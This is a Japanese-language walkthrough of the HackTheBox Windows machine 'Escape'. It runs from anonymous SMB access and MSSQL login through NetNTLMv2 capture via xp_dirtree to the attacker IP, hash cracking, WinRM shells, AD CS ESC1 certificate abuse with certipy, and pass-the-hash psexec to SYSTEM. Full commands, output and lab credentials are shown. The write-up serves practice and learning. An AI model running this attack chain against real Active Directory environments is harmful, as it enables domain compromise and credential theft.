概要
- 匿名で
Public共有の PDF を取り、MSSQL のユーザPublicUserでログイン - MSSQL から SMB 要求を実行することで、Responder が
sql_svcの NetNTLMv2 を捕捉し、rockyou で解読 - WinRM で
sql_svcのシェルを取り、ERRORLOG.BAKからRyan.Cooperのパスワードを得る - AD CS の
UserAuthenticationが持つ ESC1 を利用し、Administrator の証明書を発行 - PKINIT で SYSTEM を取得
対象環境
| 項目 | 値 |
|---|---|
| 問題 | Escape |
| 難易度 | Medium |
| OS | Windows |
| IP | 10.129.228.253 |
| 攻撃者IP | 10.10.14.248 |
攻撃フロー
1. 偵察
rustscan で全ポートを確認。
88 / 389 / 445 / 1433 / 5985 が開いており、LDAP がドメイン sequel.htb、ホスト名 DC を返す
Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scan
Open 10.129.228.253:53
Open 10.129.228.253:88
Open 10.129.228.253:389
Open 10.129.228.253:445
Open 10.129.228.253:1433
Open 10.129.228.253:5985
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-11-10 01:23:29Z)
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sequel.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windowsdc.sequel.htb と sequel.htb を /etc/hosts に足した
Ch4n24n@htb[/htb]$ echo $TARGET 'dc.sequel.htb sequel.htb' | sudo tee -a /etc/hosts
10.129.228.253 dc.sequel.htb sequel.htb2. 匿名SMBでPDF取得
ヌルセッションで共有一覧が出る。Public に SQL Server Procedures.pdf がある
Ch4n24n@htb[/htb]$ smbclient -L $TARGET -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Public Disk
SYSVOL Disk Logon server share
Ch4n24n@htb[/htb]$ smbclient //$TARGET/Public -N
smb: \> ls
SQL Server Procedures.pdf A 49551 Fri Nov 18 22:39:43 2022
smb: \> get "SQL Server Procedures.pdf"
getting file \SQL Server Procedures.pdf of size 49551 as SQL Server Procedures.pdfPDF に MSSQL の資格情報 PublicUser:GuestUserCantWrite1 が載っている
3. MSSQLへログイン
SQL 認証で guest@master に入る
Ch4n24n@htb[/htb]$ impacket-mssqlclient 'PublicUser'@$TARGET
Password:
[*] Encryption required, switching to TLS
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
SQL (PublicUser guest@master)>4. NetNTLMv2捕捉と解読
tun0 で Responder を待受け、MSSQL 側で SMB 要求をする
SQL (PublicUser guest@master)> EXEC master..xp_dirtree '\\10.10.14.248\share\'すると、sequel\sql_svc の NetNTLMv2 が届く
Ch4n24n@htb[/htb]$ sudo responder -I tun0
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.228.253
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:af187699...hashcat -m 5600 と rockyou で sql_svc:REGGIE1234ronnie が出る
Ch4n24n@htb[/htb]$ hashcat -m 5600 'sql_svc::sequel:af187699...' /usr/share/wordlists/rockyou.txt
...:REGGIE1234ronnie
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Recovered........: 1/1 (100.00%) Digests (total)5. sql_svcのシェルとERRORLOG
WinRM が通る
Ch4n24n@htb[/htb]$ netexec smb $TARGET -u 'sql_svc' -p 'REGGIE1234ronnie'
SMB 10.129.228.253 445 DC [+] sequel.htb\sql_svc:REGGIE1234ronnie
Ch4n24n@htb[/htb]$ netexec winrm $TARGET -u 'sql_svc' -p 'REGGIE1234ronnie'
WINRM 10.129.228.253 5985 DC [+] sequel.htb\sql_svc:REGGIE1234ronnie (Pwn3d!)evil-winrm で sequel\sql_svc のシェルに入り、C:\SQLServer\Logs\ERRORLOG.BAK を読む
Ryan.Cooper の資格情報を見つける
Ch4n24n@htb[/htb]$ evil-winrm -i $TARGET -u 'sql_svc' -p 'REGGIE1234ronnie'
*Evil-WinRM* PS C:\Users> whoami
sequel\sql_svc
*Evil-WinRM* PS C:\SQLserver\Logs> type ERRORLOG.BAK
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]Ryan.Cooper:NuclearMosquito3 でも WinRM が通る
Ch4n24n@htb[/htb]$ netexec winrm $TARGET -u 'Ryan.Cooper' -p 'NuclearMosquito3'
WINRM 10.129.228.253 5985 DC [+] sequel.htb\Ryan.Cooper:NuclearMosquito3 (Pwn3d!)6. ESC1の確認と証明書発行
(1)脆弱テンプレを確認
Ryan.Cooper で証明書の脆弱性を確認
テンプレ UserAuthentication に ESC1 が立つ。Domain Users で enroll できる
Ch4n24n@htb[/htb]$ certipy-ad find -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -vulnerable -stdout -dc-ip $TARGET
Certificate Authorities
0
CA Name : sequel-DC-CA
DNS Name : dc.sequel.htb
User Specified SAN : Disabled
Request Disposition : Issue
Certificate Templates
0
Template Name : UserAuthentication
Enabled : True
Client Authentication : True
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Requires Manager Approval : False
[+] User Enrollable Principals : SEQUEL.HTB\Domain Users
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.(2)Administrator を名乗る証明書を発行
Ch4n24n@htb[/htb]$ certipy-ad req -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip $TARGET -ca 'sequel-DC-CA' -template UserAuthentication -upn 'Administrator@sequel.htb'
[*] Requesting certificate via RPC
[*] Request ID is 14
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Saving certificate and private key to 'administrator.pfx'7. PKINITでSYSTEM
自端末の時計を DC に合わせてから PKINIT し、Administrator の NT ハッシュを取る
Ch4n24n@htb[/htb]$ sudo timedatectl set-ntp 0; sudo ntpdate -t 5 -u dc.sequel.htb
2026-11-10 19:26:23.105181 (+0900) +28799.917027 +/- 0.050545 dc.sequel.htb 10.129.228.253 s1 no-leap
CLOCK: time stepped by 28799.917027
Ch4n24n@htb[/htb]$ certipy-ad auth -pfx administrator.pfx -dc-ip $TARGET
[*] SAN UPN: 'Administrator@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Got hash for 'administrator@sequel.htb': aad3b435...:a52f78e4...NT ハッシュで psexec
Ch4n24n@htb[/htb]$ impacket-psexec -hashes :a52f78e4... Administrator@dc.sequel.htb
[*] Found writable share ADMIN$
[*] Starting service VDDb.....
Microsoft Windows [Version 10.0.17763.2746]
C:\Windows\system32>参考
おわりに
- Medium 程度の難易度とされていますが、実際には Easy の中~上くらいだと思います💦
- 攻略までのステップ数が少なく、各ステップも基本的な内容だったので、ADの攻略に慣れている方であれば詰まりなく解けると思います